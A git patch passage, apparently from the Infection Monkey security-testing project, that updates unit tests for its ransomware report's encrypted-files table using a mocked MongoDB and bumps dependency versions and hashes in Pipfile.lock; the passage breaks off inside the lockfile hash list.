ransomware_report from monkey_island.cc.services.reporting.report import ReportService -from monkey_island.cc.services.ransomware.ransomware_report import RansomwareReportService +from monkey_island.cc.services.ransomware.ransomware_report import get_encrypted_files_table +from monkey_island.cc.services.reporting.report import ReportService @pytest.fixture def fake_mongo(monkeypatch): - mongoengine.connect("mongoenginetest", host="mongomock://localhost") - mongo = get_connection() + mongo = mongomock.MongoClient() monkeypatch.setattr("monkey_island.cc.services.ransomware.ransomware_report.mongo", mongo) - monkeypatch.setattr("monkey_island.cc.services.reporting.report.mongo", mongo) - monkeypatch.setattr("monkey_island.cc.services.node.mongo", mongo) return mongo -@pytest.mark.skip(reason="Can't find a way to use the same mock database client in Monkey model") @pytest.mark.usefixtures("uses_database") -def test_get_encrypted_files_table(fake_mongo): +def test_get_encrypted_files_table(fake_mongo, monkeypatch): fake_mongo.db.monkey.insert(MONKEY_AT_ISLAND) fake_mongo.db.monkey.insert(MONKEY_AT_VICTIM) fake_mongo.db.edge.insert(EDGE_EXPLOITED) @@ -40,37 +37,56 @@ def test_get_encrypted_files_table(fake_mongo): fake_mongo.db.telemetry.insert(ENCRYPTION_ERROR) fake_mongo.db.telemetry.insert(ENCRYPTION_ONE_FILE) - results = RansomwareReportService.get_encrypted_files_table() + monkeypatch.setattr( + ReportService, + "get_exploited", + lambda: [{"label": "WinDev2010Eval", "exploits": ["SMB Exploiter"]}], + ) + + results = get_encrypted_files_table() assert results == [ - {"hostname": "test-pc-2", "exploit": "Manual execution", "files_encrypted": True}, - {"hostname": "WinDev2010Eval", "exploit": "SMB", "files_encrypted": True}, + {"hostname": "test-pc-2", "exploits": ["Manual execution"], "files_encrypted": True}, + {"hostname": "WinDev2010Eval", "exploits": ["SMB Exploiter"], "files_encrypted": True}, ] -@pytest.mark.skip(reason="Can't find a way to use the same mock database client in Monkey model") @pytest.mark.usefixtures("uses_database") -def test_get_encrypted_files_table__only_errors(fake_mongo): +def test_get_encrypted_files_table__only_errors(fake_mongo, monkeypatch): fake_mongo.db.monkey.insert(MONKEY_AT_ISLAND) fake_mongo.db.monkey.insert(MONKEY_AT_VICTIM) fake_mongo.db.edge.insert(EDGE_EXPLOITED) fake_mongo.db.edge.insert(EDGE_SCANNED) fake_mongo.db.telemetry.insert(ENCRYPTION_ERROR) - results = RansomwareReportService.get_encrypted_files_table() + monkeypatch.setattr( + ReportService, + "get_exploited", + lambda: [{"label": "WinDev2010Eval", "exploits": ["SMB Exploiter"]}], + ) - assert results == [] + results = get_encrypted_files_table() + + assert results == [ + {"hostname": "test-pc-2", "exploits": ["Manual execution"], "files_encrypted": False} + ] @pytest.mark.skip(reason="Can't find a way to use the same mock database client in Monkey model") @pytest.mark.usefixtures("uses_database") -def test_get_encrypted_files_table__no_telemetries(fake_mongo): +def test_get_encrypted_files_table__no_telemetries(fake_mongo, monkeypatch): fake_mongo.db.monkey.insert(MONKEY_AT_ISLAND) fake_mongo.db.monkey.insert(MONKEY_AT_VICTIM) fake_mongo.db.edge.insert(EDGE_EXPLOITED) fake_mongo.db.edge.insert(EDGE_SCANNED) - results = RansomwareReportService.get_encrypted_files_table() + monkeypatch.setattr( + ReportService, + "get_exploited", + lambda: [{"label": "WinDev2010Eval", "exploits": ["SMB Exploiter"]}], + ) + + results = get_encrypted_files_table() assert results == [] From 10a375ea66a04927c0426e0011752009e343b31a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 9 Jul 2021 16:43:00 -0400 Subject: [PATCH 1097/1360] Island: Fix failing test by upgrading mongomock --- monkey/monkey_island/Pipfile | 2 +- monkey/monkey_island/Pipfile.lock | 287 ++++++++++++++++-------------- 2 files changed, 150 insertions(+), 139 deletions(-) diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index fe24df4cb4d..418849eb37c 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -34,7 +34,7 @@ pyaescrypt = "*" [dev-packages] virtualenv = ">=20.0.26" -mongomock = "==3.19.0" +mongomock = "==3.23.0" pytest = ">=5.4" requests-mock = "==1.8.0" black = "==20.8b1" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index 0f69c3911f7..e62fd0c5660 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "94483f0315aa31ddeb508e5dc5ef4dcf424d09487c6ea01bc857082636df59cc" + "sha256": "7157e13d928bde23582b6289405713962f3334bd32ac80b22202b605ed4dcefb" }, "pipfile-spec": 6, "requires": { @@ -98,58 +98,49 @@ }, "cffi": { "hashes": [ - "sha256:005a36f41773e148deac64b08f233873a4d0c18b053d37da83f6af4d9087b813", - "sha256:04c468b622ed31d408fea2346bec5bbffba2cc44226302a0de1ade9f5ea3d373", - "sha256:06d7cd1abac2ffd92e65c0609661866709b4b2d82dd15f611e602b9b188b0b69", - "sha256:06db6321b7a68b2bd6df96d08a5adadc1fa0e8f419226e25b2a5fbf6ccc7350f", - "sha256:0857f0ae312d855239a55c81ef453ee8fd24136eaba8e87a2eceba644c0d4c06", - "sha256:0f861a89e0043afec2a51fd177a567005847973be86f709bbb044d7f42fc4e05", - "sha256:1071534bbbf8cbb31b498d5d9db0f274f2f7a865adca4ae429e147ba40f73dea", - "sha256:158d0d15119b4b7ff6b926536763dc0714313aa59e320ddf787502c70c4d4bee", - "sha256:1bf1ac1984eaa7675ca8d5745a8cb87ef7abecb5592178406e55858d411eadc0", - "sha256:1f436816fc868b098b0d63b8920de7d208c90a67212546d02f84fe78a9c26396", - "sha256:24a570cd11895b60829e941f2613a4f79df1a27344cbbb82164ef2e0116f09c7", - "sha256:24ec4ff2c5c0c8f9c6b87d5bb53555bf267e1e6f70e52e5a9740d32861d36b6f", - "sha256:2894f2df484ff56d717bead0a5c2abb6b9d2bf26d6960c4604d5c48bbc30ee73", - "sha256:29314480e958fd8aab22e4a58b355b629c59bf5f2ac2492b61e3dc06d8c7a315", - "sha256:293e7ea41280cb28c6fcaaa0b1aa1f533b8ce060b9e701d78511e1e6c4a1de76", - "sha256:34eff4b97f3d982fb93e2831e6750127d1355a923ebaeeb565407b3d2f8d41a1", - "sha256:35f27e6eb43380fa080dccf676dece30bef72e4a67617ffda586641cd4508d49", - "sha256:3c3f39fa737542161d8b0d680df2ec249334cd70a8f420f71c9304bd83c3cbed", - "sha256:3d3dd4c9e559eb172ecf00a2a7517e97d1e96de2a5e610bd9b68cea3925b4892", - "sha256:43e0b9d9e2c9e5d152946b9c5fe062c151614b262fda2e7b201204de0b99e482", - "sha256:48e1c69bbacfc3d932221851b39d49e81567a4d4aac3b21258d9c24578280058", - "sha256:51182f8927c5af975fece87b1b369f722c570fe169f9880764b1ee3bca8347b5", - "sha256:58e3f59d583d413809d60779492342801d6e82fefb89c86a38e040c16883be53", - "sha256:5de7970188bb46b7bf9858eb6890aad302577a5f6f75091fd7cdd3ef13ef3045", - "sha256:65fa59693c62cf06e45ddbb822165394a288edce9e276647f0046e1ec26920f3", - "sha256:681d07b0d1e3c462dd15585ef5e33cb021321588bebd910124ef4f4fb71aef55", - "sha256:69e395c24fc60aad6bb4fa7e583698ea6cc684648e1ffb7fe85e3c1ca131a7d5", - "sha256:6c97d7350133666fbb5cf4abdc1178c812cb205dc6f41d174a7b0f18fb93337e", - "sha256:6e4714cc64f474e4d6e37cfff31a814b509a35cb17de4fb1999907575684479c", - "sha256:72d8d3ef52c208ee1c7b2e341f7d71c6fd3157138abf1a95166e6165dd5d4369", - "sha256:8ae6299f6c68de06f136f1f9e69458eae58f1dacf10af5c17353eae03aa0d827", - "sha256:8b198cec6c72df5289c05b05b8b0969819783f9418e0409865dac47288d2a053", - "sha256:99cd03ae7988a93dd00bcd9d0b75e1f6c426063d6f03d2f90b89e29b25b82dfa", - "sha256:9cf8022fb8d07a97c178b02327b284521c7708d7c71a9c9c355c178ac4bbd3d4", - "sha256:9de2e279153a443c656f2defd67769e6d1e4163952b3c622dcea5b08a6405322", - "sha256:9e93e79c2551ff263400e1e4be085a1210e12073a31c2011dbbda14bda0c6132", - "sha256:9ff227395193126d82e60319a673a037d5de84633f11279e336f9c0f189ecc62", - "sha256:a465da611f6fa124963b91bf432d960a555563efe4ed1cc403ba5077b15370aa", - "sha256:ad17025d226ee5beec591b52800c11680fca3df50b8b29fe51d882576e039ee0", - "sha256:afb29c1ba2e5a3736f1c301d9d0abe3ec8b86957d04ddfa9d7a6a42b9367e396", - "sha256:b85eb46a81787c50650f2392b9b4ef23e1f126313b9e0e9013b35c15e4288e2e", - "sha256:bb89f306e5da99f4d922728ddcd6f7fcebb3241fc40edebcb7284d7514741991", - "sha256:cbde590d4faaa07c72bf979734738f328d239913ba3e043b1e98fe9a39f8b2b6", - "sha256:cc5a8e069b9ebfa22e26d0e6b97d6f9781302fe7f4f2b8776c3e1daea35f1adc", - "sha256:cd2868886d547469123fadc46eac7ea5253ea7fcb139f12e1dfc2bbd406427d1", - "sha256:d42b11d692e11b6634f7613ad8df5d6d5f8875f5d48939520d351007b3c13406", - "sha256:df5052c5d867c1ea0b311fb7c3cd28b19df469c056f7fdcfe88c7473aa63e333", - "sha256:f2d45f97ab6bb54753eab54fffe75aaf3de4ff2341c9daee1987ee1837636f1d", - "sha256:fd78e5fee591709f32ef6edb9a015b4aa1a5022598e36227500c8f4e02328d9c" + "sha256:06c54a68935738d206570b20da5ef2b6b6d92b38ef3ec45c5422c0ebaf338d4d", + "sha256:0c0591bee64e438883b0c92a7bed78f6290d40bf02e54c5bf0978eaf36061771", + "sha256:19ca0dbdeda3b2615421d54bef8985f72af6e0c47082a8d26122adac81a95872", + "sha256:22b9c3c320171c108e903d61a3723b51e37aaa8c81255b5e7ce102775bd01e2c", + "sha256:26bb2549b72708c833f5abe62b756176022a7b9a7f689b571e74c8478ead51dc", + "sha256:33791e8a2dc2953f28b8d8d300dde42dd929ac28f974c4b4c6272cb2955cb762", + "sha256:3c8d896becff2fa653dc4438b54a5a25a971d1f4110b32bd3068db3722c80202", + "sha256:4373612d59c404baeb7cbd788a18b2b2a8331abcc84c3ba40051fcd18b17a4d5", + "sha256:487d63e1454627c8e47dd230025780e91869cfba4c753a74fda196a1f6ad6548", + "sha256:4922cd707b25e623b902c86188aca466d3620892db76c0bdd7b99a3d5e61d35f", + "sha256:55af55e32ae468e9946f741a5d51f9896da6b9bf0bbdd326843fec05c730eb20", + "sha256:5d4b68e216fc65e9fe4f524c177b54964af043dde734807586cf5435af84045c", + "sha256:64fda793737bc4037521d4899be780534b9aea552eb673b9833b01f945904c2e", + "sha256:6d6169cb3c6c2ad50db5b868db6491a790300ade1ed5d1da29289d73bbe40b56", + "sha256:7bcac9a2b4fdbed2c16fa5681356d7121ecabf041f18d97ed5b8e0dd38a80224", + "sha256:80b06212075346b5546b0417b9f2bf467fea3bfe7352f781ffc05a8ab24ba14a", + "sha256:818014c754cd3dba7229c0f5884396264d51ffb87ec86e927ef0be140bfdb0d2", + "sha256:8eb687582ed7cd8c4bdbff3df6c0da443eb89c3c72e6e5dcdd9c81729712791a", + "sha256:99f27fefe34c37ba9875f224a8f36e31d744d8083e00f520f133cab79ad5e819", + "sha256:9f3e33c28cd39d1b655ed1ba7247133b6f7fc16fa16887b120c0c670e35ce346", + "sha256:a8661b2ce9694ca01c529bfa204dbb144b275a31685a075ce123f12331be790b", + "sha256:a9da7010cec5a12193d1af9872a00888f396aba3dc79186604a09ea3ee7c029e", + "sha256:b315d709717a99f4b27b59b021e6207c64620790ca3e0bde636a6c7f14618abb", + "sha256:ba6f2b3f452e150945d58f4badd92310449876c4c954836cfb1803bdd7b422f0", + "sha256:c33d18eb6e6bc36f09d793c0dc58b0211fccc6ae5149b808da4a62660678b156", + "sha256:c9a875ce9d7fe32887784274dd533c57909b7b1dcadcc128a2ac21331a9765dd", + "sha256:c9e005e9bd57bc987764c32a1bee4364c44fdc11a3cc20a40b93b444984f2b87", + "sha256:d2ad4d668a5c0645d281dcd17aff2be3212bc109b33814bbb15c4939f44181cc", + "sha256:d950695ae4381ecd856bcaf2b1e866720e4ab9a1498cba61c602e56630ca7195", + "sha256:e22dcb48709fc51a7b58a927391b23ab37eb3737a98ac4338e2448bef8559b33", + "sha256:e8c6a99be100371dbb046880e7a282152aa5d6127ae01783e37662ef73850d8f", + "sha256:e9dc245e3ac69c92ee4c167fbdd7428ec1956d4e754223124991ef29eb57a09d", + "sha256:eb687a11f0a7a1839719edd80f41e459cc5366857ecbed383ff376c4e3cc6afd", + "sha256:eb9e2a346c5238a30a746893f23a9535e700f8192a68c07c0258e7ece6ff3728", + "sha256:ed38b924ce794e505647f7c331b22a693bee1538fdf46b0222c4717b42f744e7", + "sha256:f0c5d1acbfca6ebdd6b1e3eded8d261affb6ddcf2186205518f1428b8569bb99", + "sha256:f10afb1004f102c7868ebfe91c28f4a712227fe4cb24974350ace1f90e1febbf", + "sha256:f174135f5609428cc6e1b9090f9268f5c8935fddb1b25ccb8255a2d50de6789e", + "sha256:f3ebe6e73c319340830a9b2825d32eb6d8475c1dac020b4f0aa774ee3b898d1c", + "sha256:fd4305f86f53dfd8cd3522269ed7fc34856a8ee3709a5e28b2836b2db9d4cd69" ], "index": "pypi", - "version": "==1.14.5" + "version": "==1.14.6" }, "chardet": { "hashes": [ @@ -169,11 +160,11 @@ }, "cherrypy": { "hashes": [ - "sha256:56608edd831ad00991ae585625e0206ed61cf1a0850e4b2cc48489fb2308c499", - "sha256:c0a7283f02a384c112a0a18404fd3abd849fc7fd4bec19378067150a2573d2e4" + "sha256:55659e6f012d374898d6d9d581e17cc1477b6a14710218e64f187b9227bea038", + "sha256:f33e87286e7b3e309e04e7225d8e49382d9d7773e6092241d7f613893c563495" ], "markers": "python_version >= '3.5'", - "version": "==18.6.0" + "version": "==18.6.1" }, "cherrypy-cors": { "hashes": [ @@ -196,7 +187,7 @@ "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff", "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1" ], - "markers": "python_version != '3.4' and sys_platform == 'win32' and platform_system == 'Windows'", + "markers": "python_version != '3.4' and platform_system == 'Windows' and sys_platform == 'win32' and platform_system == 'Windows'", "version": "==0.4.3" }, "coloredlogs": { @@ -375,11 +366,11 @@ }, "humanfriendly": { "hashes": [ - "sha256:066562956639ab21ff2676d1fda0b5987e985c534fc76700a19bd54bcb81121d", - "sha256:d5c731705114b9ad673754f3317d9fa4c23212f36b29bdc4272a892eafc9bc72" + "sha256:332da98c24cc150efcc91b5508b19115209272bfdf4b0764a56795932f854271", + "sha256:f7dba53ac7935fd0b4a2fc9a29e316ddd9ea135fb3052d3d0279d10c18ff9c48" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==9.1" + "version": "==9.2" }, "idna": { "hashes": [ @@ -391,11 +382,11 @@ }, "importlib-metadata": { "hashes": [ - "sha256:833b26fb89d5de469b24a390e9df088d4e52e4ba33b01dc5e0e4f41b81a16c00", - "sha256:b142cc1dd1342f31ff04bb7d022492b09920cb64fed867cd3ea6f80fe3ebd139" + "sha256:079ada16b7fc30dfbb5d13399a5113110dab1aa7c2bc62f66af75f0b717c8cac", + "sha256:9f55f560e116f8643ecf2922d9cd3e1c7e8d52e683178fecd9d08f6aa357e11e" ], "markers": "python_version < '3.8'", - "version": "==4.5.0" + "version": "==4.6.1" }, "ipaddress": { "hashes": [ @@ -577,10 +568,10 @@ }, "policyuniverse": { "hashes": [ - "sha256:6ccb3a4849aa1353fd3b5e8d2b7c2c94797cb0f37f0546ad6b541e153b556a75", - "sha256:7e8fa7823bf4268d7a1cbcb4700863ee0f6c2ee40a287c4926fbd3b783900085" + "sha256:89265efd6e04c71d073ef3e361bd1b487231890c6aee1c710dd902d254ad1d9f", + "sha256:a5dfe7435f2cc75e910ad79512a109b68c246b3a54974e6d560bcd3e6b028288" ], - "version": "==1.3.6.20210602" + "version": "==1.3.8.20210707" }, "portend": { "hashes": [ @@ -760,10 +751,30 @@ }, "pyrsistent": { "hashes": [ - "sha256:2e636185d9eb976a18a8a8e96efce62f2905fea90041958d8cc2a189756ebf3e" + "sha256:097b96f129dd36a8c9e33594e7ebb151b1515eb52cceb08474c10a5479e799f2", + "sha256:2aaf19dc8ce517a8653746d98e962ef480ff34b6bc563fc067be6401ffb457c7", + "sha256:404e1f1d254d314d55adb8d87f4f465c8693d6f902f67eb6ef5b4526dc58e6ea", + "sha256:48578680353f41dca1ca3dc48629fb77dfc745128b56fc01096b2530c13fd426", + "sha256:4916c10896721e472ee12c95cdc2891ce5890898d2f9907b1b4ae0f53588b710", + "sha256:527be2bfa8dc80f6f8ddd65242ba476a6c4fb4e3aedbf281dfbac1b1ed4165b1", + "sha256:58a70d93fb79dc585b21f9d72487b929a6fe58da0754fa4cb9f279bb92369396", + "sha256:5e4395bbf841693eaebaa5bb5c8f5cdbb1d139e07c975c682ec4e4f8126e03d2", + "sha256:6b5eed00e597b5b5773b4ca30bd48a5774ef1e96f2a45d105db5b4ebb4bca680", + "sha256:73ff61b1411e3fb0ba144b8f08d6749749775fe89688093e1efef9839d2dcc35", + "sha256:772e94c2c6864f2cd2ffbe58bb3bdefbe2a32afa0acb1a77e472aac831f83427", + "sha256:773c781216f8c2900b42a7b638d5b517bb134ae1acbebe4d1e8f1f41ea60eb4b", + "sha256:a0c772d791c38bbc77be659af29bb14c38ced151433592e326361610250c605b", + "sha256:b29b869cf58412ca5738d23691e96d8aff535e17390128a1a52717c9a109da4f", + "sha256:c1a9ff320fa699337e05edcaae79ef8c2880b52720bc031b219e5b5008ebbdef", + "sha256:cd3caef37a415fd0dae6148a1b6957a8c5f275a62cca02e18474608cb263640c", + "sha256:d5ec194c9c573aafaceebf05fc400656722793dac57f254cd4741f3c27ae57b4", + "sha256:da6e5e818d18459fa46fac0a4a4e543507fe1110e808101277c5a2b5bab0cd2d", + "sha256:e79d94ca58fcafef6395f6352383fa1a76922268fa02caa2272fff501c2fdc78", + "sha256:f3ef98d7b76da5eb19c37fda834d50262ff9167c65658d1d8f974d2e4d90676b", + "sha256:f4c8cabb46ff8e5d61f56a037974228e978f26bfefce4f61a4b1ac0ba7a2ab72" ], - "markers": "python_version >= '3.5'", - "version": "==0.17.3" + "markers": "python_version >= '3.6'", + "version": "==0.18.0" }, "python-dateutil": { "hashes": [ @@ -793,7 +804,7 @@ "sha256:dafa18e95bf2a92f298fe9c582b0e205aca45c55f989937c52c454ce65b93c78", "sha256:fb3b4933e0382ba49305cc6cd3fb18525df7fd96aa434de19ce0878133bf8e4a" ], - "markers": "sys_platform == 'win32'", + "markers": "python_version < '3.10' and sys_platform == 'win32' and implementation_name == 'cpython'", "version": "==301" }, "pywin32-ctypes": { @@ -833,10 +844,10 @@ }, "ring": { "hashes": [ - "sha256:d668e194d1f061faaab79ba86b2391d1a3fab6d459d50969e53ef0150dc85f67" + "sha256:c6b4ea68ab79055fce640e68af4a2e2fddd624a803fac2e4edfa33c8727c9601" ], "index": "pypi", - "version": "==0.8.1" + "version": "==0.8.3" }, "rsa": { "hashes": [ @@ -939,19 +950,19 @@ }, "tempora": { "hashes": [ - "sha256:10fdc29bf85fa0df39a230a225bb6d093982fc0825b648a414bbc06bddd79909", - "sha256:d44aec6278b27d34a47471ead01b710351076eb5d61181551158f1613baf6bc8" + "sha256:c54da0f05405f04eb67abbb1dff4448fd91428b58cb00f0f645ea36f6a927950", + "sha256:ef2d8bb35902d5ea7da95df33456685a6d305b97f311725c12e55c13d85c0938" ], "markers": "python_version >= '3.6'", - "version": "==4.0.2" + "version": "==4.1.1" }, "tqdm": { "hashes": [ - "sha256:736524215c690621b06fc89d0310a49822d75e599fcd0feb7cc742b98d692493", - "sha256:cd5791b5d7c3f2f1819efc81d36eb719a38e0906a7380365c556779f585ea042" + "sha256:5aa445ea0ad8b16d82b15ab342de6b195a722d75fc1ef9934a46bba6feafbc64", + "sha256:8bb94db0d4468fea27d004a0f1d1c02da3cdedc00fe491c0de986b76a04d6b0a" ], "index": "pypi", - "version": "==4.61.0" + "version": "==4.61.2" }, "typing-extensions": { "hashes": [ @@ -980,9 +991,9 @@ }, "wirerope": { "hashes": [ - "sha256:a8cb4642c83a55add676923059b4f9c61d785ac6dc71ff1d9de2aac4aed4a517" + "sha256:0af78b825c4b0e43c79bb038e8d85c86540f85eddf295da5a7e17142ef6c7ee9" ], - "version": "==0.3.0" + "version": "==0.4.3" }, "zc.lockfile": { "hashes": [ @@ -993,11 +1004,11 @@ }, "zipp": { "hashes": [ - "sha256:3607921face881ba3e026887d8150cca609d517579abe052ac81fc5aeffdbd76", - "sha256:51cb66cc54621609dd593d1787f286ee42a5c0adbb4b29abea5a63edc3e03098" + "sha256:957cfda87797e389580cb8b9e3870841ca991e2125350677b2ca83a0e99390a3", + "sha256:f5812b1e007e48cff63449a5e9f4e7ebea716b4111f9c4f9a645f91d579bf0c4" ], "markers": "python_version >= '3.6'", - "version": "==3.4.1" + "version": "==3.5.0" }, "zope.event": { "hashes": [ @@ -1123,7 +1134,7 @@ "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff", "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1" ], - "markers": "python_version != '3.4' and sys_platform == 'win32' and platform_system == 'Windows'", + "markers": "python_version != '3.4' and platform_system == 'Windows' and sys_platform == 'win32' and platform_system == 'Windows'", "version": "==0.4.3" }, "coverage": { @@ -1223,11 +1234,11 @@ }, "importlib-metadata": { "hashes": [ - "sha256:833b26fb89d5de469b24a390e9df088d4e52e4ba33b01dc5e0e4f41b81a16c00", - "sha256:b142cc1dd1342f31ff04bb7d022492b09920cb64fed867cd3ea6f80fe3ebd139" + "sha256:079ada16b7fc30dfbb5d13399a5113110dab1aa7c2bc62f66af75f0b717c8cac", + "sha256:9f55f560e116f8643ecf2922d9cd3e1c7e8d52e683178fecd9d08f6aa357e11e" ], "markers": "python_version < '3.8'", - "version": "==4.5.0" + "version": "==4.6.1" }, "iniconfig": { "hashes": [ @@ -1253,11 +1264,11 @@ }, "mongomock": { "hashes": [ - "sha256:36aad3c6127eee9cdb52ac0186c6a60007f2412c9db715645eeccffc1258ce48", - "sha256:8faaffd875732bf55e38e1420a1b7212dde8d446c5852afb4c0884c1369b328b" + "sha256:01ce0c4eb02b2eced0a30882412444eaf6de27a90f2502bee64e04e3b8ecdc90", + "sha256:d9945e7c87c221aed47c6c10708376351a5f5ee48060943c56ba195be425b0dd" ], "index": "pypi", - "version": "==3.19.0" + "version": "==3.23.0" }, "mypy-extensions": { "hashes": [ @@ -1268,11 +1279,11 @@ }, "packaging": { "hashes": [ - "sha256:5b327ac1320dc863dca72f4514ecc086f31186744b84a230374cc1fd776feae5", - "sha256:67714da7f7bc052e064859c05c595155bd1ee9f69f76557e21f051443c20947a" + "sha256:7dc96269f53a4ccec5c0670940a4281106dd0bb343f47b7471f779df49c2fbe7", + "sha256:c86254f9220d55e31cc94d69bade760f0847da8000def4dfe1c6b872fd14ff14" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==20.9" + "markers": "python_version >= '3.6'", + "version": "==21.0" }, "pathspec": { "hashes": [ @@ -1339,49 +1350,49 @@ }, "regex": { "hashes": [ - "sha256:01afaf2ec48e196ba91b37451aa353cb7eda77efe518e481707e0515025f0cd5", - "sha256:11d773d75fa650cd36f68d7ca936e3c7afaae41b863b8c387a22aaa78d3c5c79", - "sha256:18c071c3eb09c30a264879f0d310d37fe5d3a3111662438889ae2eb6fc570c31", - "sha256:1e1c20e29358165242928c2de1482fb2cf4ea54a6a6dea2bd7a0e0d8ee321500", - "sha256:281d2fd05555079448537fe108d79eb031b403dac622621c78944c235f3fcf11", - "sha256:314d66636c494ed9c148a42731b3834496cc9a2c4251b1661e40936814542b14", - "sha256:32e65442138b7b76dd8173ffa2cf67356b7bc1768851dded39a7a13bf9223da3", - "sha256:339456e7d8c06dd36a22e451d58ef72cef293112b559010db3d054d5560ef439", - "sha256:3916d08be28a1149fb97f7728fca1f7c15d309a9f9682d89d79db75d5e52091c", - "sha256:3a9cd17e6e5c7eb328517969e0cb0c3d31fd329298dd0c04af99ebf42e904f82", - "sha256:47bf5bf60cf04d72bf6055ae5927a0bd9016096bf3d742fa50d9bf9f45aa0711", - "sha256:4c46e22a0933dd783467cf32b3516299fb98cfebd895817d685130cc50cd1093", - "sha256:4c557a7b470908b1712fe27fb1ef20772b78079808c87d20a90d051660b1d69a", - "sha256:52ba3d3f9b942c49d7e4bc105bb28551c44065f139a65062ab7912bef10c9afb", - "sha256:563085e55b0d4fb8f746f6a335893bda5c2cef43b2f0258fe1020ab1dd874df8", - "sha256:598585c9f0af8374c28edd609eb291b5726d7cbce16be6a8b95aa074d252ee17", - "sha256:619d71c59a78b84d7f18891fe914446d07edd48dc8328c8e149cbe0929b4e000", - "sha256:67bdb9702427ceddc6ef3dc382455e90f785af4c13d495f9626861763ee13f9d", - "sha256:6d1b01031dedf2503631d0903cb563743f397ccaf6607a5e3b19a3d76fc10480", - "sha256:741a9647fcf2e45f3a1cf0e24f5e17febf3efe8d4ba1281dcc3aa0459ef424dc", - "sha256:7c2a1af393fcc09e898beba5dd59196edaa3116191cc7257f9224beaed3e1aa0", - "sha256:7d9884d86dd4dd489e981d94a65cd30d6f07203d90e98f6f657f05170f6324c9", - "sha256:90f11ff637fe8798933fb29f5ae1148c978cccb0452005bf4c69e13db951e765", - "sha256:919859aa909429fb5aa9cf8807f6045592c85ef56fdd30a9a3747e513db2536e", - "sha256:96fcd1888ab4d03adfc9303a7b3c0bd78c5412b2bfbe76db5b56d9eae004907a", - "sha256:97f29f57d5b84e73fbaf99ab3e26134e6687348e95ef6b48cfd2c06807005a07", - "sha256:980d7be47c84979d9136328d882f67ec5e50008681d94ecc8afa8a65ed1f4a6f", - "sha256:a91aa8619b23b79bcbeb37abe286f2f408d2f2d6f29a17237afda55bb54e7aac", - "sha256:ade17eb5d643b7fead300a1641e9f45401c98eee23763e9ed66a43f92f20b4a7", - "sha256:b9c3db21af35e3b3c05764461b262d6f05bbca08a71a7849fd79d47ba7bc33ed", - "sha256:bd28bc2e3a772acbb07787c6308e00d9626ff89e3bfcdebe87fa5afbfdedf968", - "sha256:bf5824bfac591ddb2c1f0a5f4ab72da28994548c708d2191e3b87dd207eb3ad7", - "sha256:c0502c0fadef0d23b128605d69b58edb2c681c25d44574fc673b0e52dce71ee2", - "sha256:c38c71df845e2aabb7fb0b920d11a1b5ac8526005e533a8920aea97efb8ec6a4", - "sha256:ce15b6d103daff8e9fee13cf7f0add05245a05d866e73926c358e871221eae87", - "sha256:d3029c340cfbb3ac0a71798100ccc13b97dddf373a4ae56b6a72cf70dfd53bc8", - "sha256:e512d8ef5ad7b898cdb2d8ee1cb09a8339e4f8be706d27eaa180c2f177248a10", - "sha256:e8e5b509d5c2ff12f8418006d5a90e9436766133b564db0abaec92fd27fcee29", - "sha256:ee54ff27bf0afaf4c3b3a62bcd016c12c3fdb4ec4f413391a90bd38bc3624605", - "sha256:fa4537fb4a98fe8fde99626e4681cc644bdcf2a795038533f9f711513a862ae6", - "sha256:fd45ff9293d9274c5008a2054ecef86a9bfe819a67c7be1afb65e69b405b3042" - ], - "version": "==2021.4.4" + "sha256:0eb2c6e0fcec5e0f1d3bcc1133556563222a2ffd2211945d7b1480c1b1a42a6f", + "sha256:15dddb19823f5147e7517bb12635b3c82e6f2a3a6b696cc3e321522e8b9308ad", + "sha256:173bc44ff95bc1e96398c38f3629d86fa72e539c79900283afa895694229fe6a", + "sha256:1c78780bf46d620ff4fff40728f98b8afd8b8e35c3efd638c7df67be2d5cddbf", + "sha256:2366fe0479ca0e9afa534174faa2beae87847d208d457d200183f28c74eaea59", + "sha256:2bceeb491b38225b1fee4517107b8491ba54fba77cf22a12e996d96a3c55613d", + "sha256:2ddeabc7652024803666ea09f32dd1ed40a0579b6fbb2a213eba590683025895", + "sha256:2fe5e71e11a54e3355fa272137d521a40aace5d937d08b494bed4529964c19c4", + "sha256:319eb2a8d0888fa6f1d9177705f341bc9455a2c8aca130016e52c7fe8d6c37a3", + "sha256:3f5716923d3d0bfb27048242a6e0f14eecdb2e2a7fac47eda1d055288595f222", + "sha256:422dec1e7cbb2efbbe50e3f1de36b82906def93ed48da12d1714cabcd993d7f0", + "sha256:4c9c3155fe74269f61e27617529b7f09552fbb12e44b1189cebbdb24294e6e1c", + "sha256:4f64fc59fd5b10557f6cd0937e1597af022ad9b27d454e182485f1db3008f417", + "sha256:564a4c8a29435d1f2256ba247a0315325ea63335508ad8ed938a4f14c4116a5d", + "sha256:59506c6e8bd9306cd8a41511e32d16d5d1194110b8cfe5a11d102d8b63cf945d", + "sha256:598c0a79b4b851b922f504f9f39a863d83ebdfff787261a5ed061c21e67dd761", + "sha256:59c00bb8dd8775473cbfb967925ad2c3ecc8886b3b2d0c90a8e2707e06c743f0", + "sha256:6110bab7eab6566492618540c70edd4d2a18f40ca1d51d704f1d81c52d245026", + "sha256:6afe6a627888c9a6cfbb603d1d017ce204cebd589d66e0703309b8048c3b0854", + "sha256:791aa1b300e5b6e5d597c37c346fb4d66422178566bbb426dd87eaae475053fb", + "sha256:8394e266005f2d8c6f0bc6780001f7afa3ef81a7a2111fa35058ded6fce79e4d", + "sha256:875c355360d0f8d3d827e462b29ea7682bf52327d500a4f837e934e9e4656068", + "sha256:89e5528803566af4df368df2d6f503c84fbfb8249e6631c7b025fe23e6bd0cde", + 